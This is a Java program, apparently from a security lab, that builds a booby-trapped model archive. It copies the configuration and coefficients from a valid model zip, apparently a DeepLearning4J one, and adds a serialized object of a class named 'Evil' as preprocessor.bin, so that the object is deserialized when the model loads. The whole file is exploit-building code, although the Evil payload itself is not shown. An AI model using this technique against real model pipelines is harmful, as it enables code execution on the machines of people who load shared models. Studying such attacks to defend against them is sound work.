| import java.io.*; | |
| import java.util.zip.*; | |
| public class MakeEvil2 { | |
| public static void main(String[] a) throws Exception { | |
| Evil e = new Evil(); | |
| e.note = "served-as-preprocessor.bin"; | |
| ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
| ObjectOutputStream oos = new ObjectOutputStream(bos); | |
| oos.writeObject(e); oos.close(); | |
| byte[] preproc = bos.toByteArray(); | |
| byte[] cfg=null, coef=null; | |
| try (ZipInputStream zin = new ZipInputStream(new FileInputStream("/tmp/dl4jlab/valid.zip"))) { | |
| ZipEntry z; | |
| while ((z=zin.getNextEntry())!=null) { | |
| ByteArrayOutputStream b=new ByteArrayOutputStream(); byte[] buf=new byte[4096]; int n; | |
| while((n=zin.read(buf))>0) b.write(buf,0,n); | |
| if (z.getName().equals("configuration.json")) cfg=b.toByteArray(); | |
| if (z.getName().equals("coefficients.bin")) coef=b.toByteArray(); | |
| } | |
| } | |
| try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/tmp/dl4jlab/evil2.zip"))) { | |
| zos.putNextEntry(new ZipEntry("configuration.json")); zos.write(cfg); zos.closeEntry(); | |
| zos.putNextEntry(new ZipEntry("coefficients.bin")); zos.write(coef); zos.closeEntry(); | |
| zos.putNextEntry(new ZipEntry("preprocessor.bin")); zos.write(preproc); zos.closeEntry(); | |
| } | |
| System.out.println("WROTE evil2.zip preproc_bytes="+preproc.length); | |
| } | |
| } | |